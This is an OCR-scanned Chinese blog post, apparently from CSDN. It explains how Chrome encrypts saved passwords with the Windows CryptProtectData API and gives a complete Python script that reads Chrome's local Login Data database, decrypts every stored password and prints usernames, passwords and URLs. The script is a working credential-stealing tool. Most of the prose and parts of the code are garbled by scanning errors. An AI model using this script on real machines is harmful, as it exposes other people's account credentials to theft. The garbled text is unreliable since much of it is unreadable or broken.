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BIChromium, FEIR—RRE:

B, BIWEARAPER—WikES, SEFRERIEARUsernamellfzPasswordfBNAY
{8, Chrome2BELHIMIAERERE—RMIINESR, BoFIRBINT:

Provisional save manager ->SubmitPassed();

if (provisional save manager ->HasGeneratedPassword())

UMA HISTOGRAM COUNTS(“PasswordGeneration.Submitted”, 1);

If (provisional save manager ->IsNewLogin() && !'provisional save man:
Delegate ->AddSavePasswordInfoBarIfPermitted/(
Provisional save manager .release());

} else {
provisional save manager ->Save();
Provisional save manager .reset();
}

SENERATE, AEERNE—EMIEB(ERRREIRERIZML), Chrome
MEHARA IR EFEICEEE.
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BLEREINGE, BHBRIMEHEChromefFiEHINE?E S AEEncryptedStringeR %y, BT
FAEncryptString 16&R%Y, XABINT:

Bool Encrypt::EncryptString(const std::string& plaintext,std::string* cij
DATA BLOB input;
Input.pbData = static cast<DWORD>(plaintext.length());

DATA BLOB output;
BOOL result = CryptProtectData(&input, L""”,NULL, NULL, NULL, 0,&outpt
if (!result)
Return false;
/| Bt F

Ciphertext->assign(reinterpret cast<std::string::value type*>(output.pbD:

LocalFree(output.pbData);
Return true;

}

RBHIR T Widows APIEZSCryptProtectData(RITEREIT ) RINE. SBAHABUES
RS, EBMEREISEEAIER. ERAERIRSHNIRE, IEBRIEECETREERE
T, FTLAE KRR LERIGIX LS.

T EEZPython{{ABSLI MM EZS EhiEElLogin DataX{4HIEEE, BIREEFEI%
18, FisEKRYEERIEIIwin32cerypt.CryptUnprotectDatafif =3 %743,

google path = r’ Google\Chrome\User Data\Default\Login Data’
file path = os.path.join(os.environ[‘LOCALAPPDATA’],google path)

#Login Data X1 LIFHpython #ijsqlite3 F Rz F.
conn = sqlite3.connect(file path)
for row in conn.execute('select username value, password value, signon r¢
#FIHMin32crpt. CryptUnprotectData i il Ha 1) & it i iE & 1.
cursor = conn.cursor()
cursor.execute('select username value, password value, signon_realm -

# I E AR [ 5 R
#F/fwin32crypt.CryptUnprotectDatafF# 7, wHid%iitipasswd X1l #4%, FKEKChr
for data in cursor.fetchall():

passwd = win32crypt.CryptUnprotectData(data[l],None,None,None,0)

FHCryptUnprotectDatapRgifif®:, SZ2XInAEaIEEZIACryptProtectData, B 3k
i CryptProtectDatafIIZAINANZE, #SaJLAEI CryptUnprotectDatafREkARE,, XH
BIRSIEE LN, ARKATLIBIT=R.
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SRR ARSI AR

#coding:utf8
import os, sys
import sqlite3
import win32crypt

google path = r'Google\Chrome\User Data\Default\Login Data'

db file path = os.path.join(os.environ['LOCALAPPDATA'],google path)

conn = sqlite3.connect(db file path)

cursor = conn.cursor()

cursor.execute('select username value, password value, signon realm from

# I E AR A 45 R
for data in cursor.fetchall():
passwd = win32crypt.CryptUnprotectData(data[l],None,None,None,0)

if passwd:
print '-------me i '
print u'[+]1HF4%: ' + data[0]
print u'[+]%M%: ' + passwd[1]

print u'[+]MuURL: ' + data[2]

M. 245

BEXE, BRNEERT, HENEZEXRREEEER, THEKEHRT—1
B, B RXENBUETHAFIAEHBERE L, (FA— 1T NEZEAIF
&, ANURERIBCEASHRATERY, ®FSERIRE, SXREBE—2—1
BIENRU1T.

HEXREMENENMFEREL, MREEREARZL, KiEGEH, FERENER
ZMELZEAENNET, NEFRREE, BFES—BETER, 0.

SARNETFES,

AEBITER.

HIXB_AFIER, FIHE _HRPELMHE, ZIRXILEF, MXSE L2003k
B, REARF, REK, ERMIUKEBERERS, FRNERK, HFNAENK
Z, BNRAMEFECS, A0, FREE, WiERfT. BPXERGEES, Bk
o, 1ICEHE.
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(By: #5351 2019-08-03 F7~i_ L8 EF ;X https://blog.csdn.net/Eastmount )
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